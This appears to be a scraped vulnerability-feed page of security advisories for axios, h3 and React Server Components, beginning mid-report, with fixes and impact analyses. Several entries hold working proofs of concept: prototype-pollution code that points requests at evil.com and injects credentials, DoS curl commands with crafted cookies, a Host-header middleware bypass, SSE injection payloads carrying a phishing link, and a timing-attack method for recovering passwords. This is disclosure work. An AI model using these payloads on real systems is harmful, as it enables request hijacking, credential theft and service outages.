(was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ` Impact Analysis 1. Authorization / Privilege Escalation `javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ` 2. Financial Manipulation `javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ` 3. Security Control Bypass `javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ` 4. Silent Data Exfiltration The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. 5. Universal and Invisible Affects every Axios request that receives a JSON response The response structure is intact — only specific values are changed No errors, no crashes, no suspicious behavior Application logs show normal-looking API responses with tampered values Recommended Fix Fix 1: Use hasOwnProperty check before using parseReviver `javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Fix 2: Use null-prototype config object `javascript // In lib/core/mergeConfig.js const config = Object.create(null); ` Fix 3: Validate parseReviver type and source `javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Relationship to Other Reported Gadgets This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration | Why These Are Distinct Vulnerabilities 1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification. Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. Resources CWE-1321: Prototype Pollution CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) MDN: JSON.parse reviver Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A04OWASP WEB
Get guardrail →

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Summary Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. Affected Properties 1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests. Proof of Concept ``javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ` Impact Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. Code execution: Attacker-supplied functions execute during HTTP redirects. Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling. Root Cause mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values. The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection. Suggested Fix Apply the existing own() helper to all affected properties: `javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js`.

OWASP A03OWASP WEB
Get guardrail →

React Server Components have a Denial of Service Vulnerability

Impact A denial of service vulnerability exists in React Server Components, affecting the following packages: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack versions 19.0.0, 19.1.0 and 19.2.0. The vulnerability is triggered by sending specially crafted HTTP requests to Server Function endpoints. The payload of the HTTP request causes excessive CPU usage for up to a minute ending in a thrown error that is catchable. We recommend updating immediately. The vulnerability exists in versions 19.0.0 through 19.0.4, 19.1.0 through 19.1.5, and 19.2.0 through 19.2.4 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack Patches Fixes were back ported to versions 19.0.5, 19.1.6, and 19.2.5. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A06OWASP A08OWASP LLM10OWASP WEB
Get guardrail →

Axios HTTP/2 Session Cleanup State Corruption Vulnerability

Summary Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled. Details The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array. Vulnerable Code: ``javascript while (i--) { if (entries[i][0] === session) { entries.splice(i, 1); if (len === 1) { delete this.sessions[authority]; return; } } } ` Root Cause: After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices. Fixed Code: `javascript while (i--) { if (entries[i][0] === session) { if (len === 1) { delete this.sessions[authority]; } else { entries.splice(i, 1); } return; } } ` The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability. Affected Component: lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler PoC 1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client 2. Establish multiple concurrent HTTP/2 sessions with the axios client 3. Close all sessions simultaneously with precise timing 4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently 5. This causes the client to access invalid memory locations, resulting in a process crash Prerequisites: Client must use axios with HTTP/2 enabled Client must connect to attacker-controlled HTTP/2 server Multiple concurrent HTTP/2 sessions must be established Server must close all sessions simultaneously with precise timing Impact Who is impacted: Applications using axios with HTTP/2 enabled Applications connecting to untrusted or attacker-controlled HTTP/2 servers Node.js applications using axios for HTTP/2 requests Impact Details: Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart) Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification CVSS Score: 5.9 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CWE Classifications: CWE-400: Uncontrolled Resource Consumption CWE-662: Improper Synchronization

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service

Summary The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process. Details The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed. The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249: ``typescript function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); // No upper bound check — attacker controls this value } ` This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190: `typescript const previousCookie = getCookie(event, name); // reads from request headers if (previousCookie?.startsWith(CHUNKED_COOKIE)) { const previousChunkCount = getChunkedCookieCount(previousCookie); if (previousChunkCount > chunkCount) { for (let i = chunkCount; i <= previousChunkCount; i++) { deleteCookie(event, chunkCookieName(name, i), options); // Each deleteCookie → setCookie → scans ALL existing set-cookie headers } } } ` The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232: `typescript const chunksCount = getChunkedCookieCount(mainCookie); if (chunksCount >= 0) { for (let i = 0; i < chunksCount; i++) { deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions); } } ` The exploit chain through sessions: 1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint 2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124) 3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request 4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143) 5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179) 6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182 7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small) 8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie() 9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106) 10. This creates O(n²) complexity — approximately 10¹² operations for n=999999 Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count. PoC Prerequisites: An h3 application with any endpoint using getSession() or useSession(). Example minimal server: `typescript import { H3 } from "h3"; import { getSession } from "h3"; const app = new H3(); app.get("/dashboard", async (event) => { const session = await getSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { user: session.data.user || "anonymous" }; }); export default app; ` Attack (single request, no authentication): `bash This single request will hang the server process curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard ` For a less extreme but still impactful test: `bash ~100K iterations — will take several seconds and block all other requests curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard ` The deleteChunkedCookie() path is exploitable via clearSession(): `typescript app.post("/logout", async (event) => { await clearSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { ok: true }; }); ` `bash curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout ` Impact Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling. No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header. Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat. Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications. Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme. Recommended Fix Add a maximum chunk count constant and validate in getChunkedCookieCount(): `typescript const MAX_CHUNKED_COOKIE_COUNT = 100; function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) { return Number.NaN; } return count; } ` This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector. Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

h3 has a middleware bypass with one gadget

H3 NodeRequestUrl bugs Vulnerable pieces of code : ``js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3() const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key"); if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); } return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly); app.get("/internal/run", () => { return "Internal OK"; }); serve(app, { port: 3001 }); ` The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the `event.url` or `event.url.hostname` or `event.url._url` It will lead to trigger one specials method `js // _url.mjs FastURL get _url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; } ` The NodeRequestUrl is extends from FastURL so when we just access `.url` or trying to dump all data of this class . This function will be triggered !! And as debugging , the this.#url is null and will reach to this code : `js this.#url = new NativeURL(this.href); ` Where is the this.href comes from ? `js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } ` Because the this.#url is still null so this.#href is built up by : `js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; ` Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url . Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares `js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); } ` So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS We have this poc : `py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text) ` This is really dangerous if some one just try to dump all the event.url or something that trigger _url()` from class FastURL and need a fix immediately.

h3 has an observable timing discrepancy in basic auth utils

Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password: ~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~ In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer. By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time. PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine. To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...). By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely. Impact This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).

h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields

Summary createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients. Details The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187: ``typescript export function formatEventStreamComment(comment: string): string { return : ${comment}\n\n; } export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${message.id}\n; } if (message.event) { result += event: ${message.event}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } result += data: ${message.data}\n\n; return result; } ` The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators. None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to: 1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives 2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one 3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS) 4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection Injection via the event field ` Intended wire format: Actual wire format (with \n injection): event: message event: message data: attacker: hey event: admin ← INJECTED data: ALL_USERS_HACKED ← INJECTED data: attacker: hey ` The browser's EventSource API parses these as two separate events: one message event and one admin event. Injection via the data field ` Intended: Actual (with \n\n injection): event: message event: message data: bob: hi data: bob: hi ← event boundary event: system ← INJECTED event data: Reset: evil.com ← INJECTED data ` Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" /> <img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" /> PoC Vulnerable server (sse-server.ts) A realistic chat/notification server that broadcasts user input via SSE: `typescript import { H3, createEventStream, getQuery } from "h3"; import { serve } from "h3/node"; const app = new H3(); const clients: any[] = []; app.get("/events", (event) => { const stream = createEventStream(event); clients.push(stream); stream.onClosed(() => { clients.splice(clients.indexOf(stream), 1); stream.close(); }); return stream.send(); }); app.get("/send", async (event) => { const query = getQuery(event); const user = query.user as string; const msg = query.msg as string; const type = (query.type as string) || "message"; for (const client of clients) { await client.push({ event: type, data: ${user}: ${msg} }); } return { status: "sent" }; }); serve({ fetch: app.fetch }); ` Exploit `bash 1. Inject fake "admin" event via event field curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down" 2. Inject separate phishing event via data field curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message" 3. Inject retry directive for reconnection DoS curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message" ` Raw wire format proving injection ` event: message event: admin data: ALL_USERS_COMPROMISED data: attacker: legit ` The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker. Proof: <img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" /> <img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" /> Impact An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate. Attack scenarios: Cross-user content injection — inject fake messages in chat applications Phishing — inject fake system notifications with malicious links Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system) Reconnection DoS — inject retry: 1` to force all clients to reconnect every 1ms Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

Showing 120 of 136 threats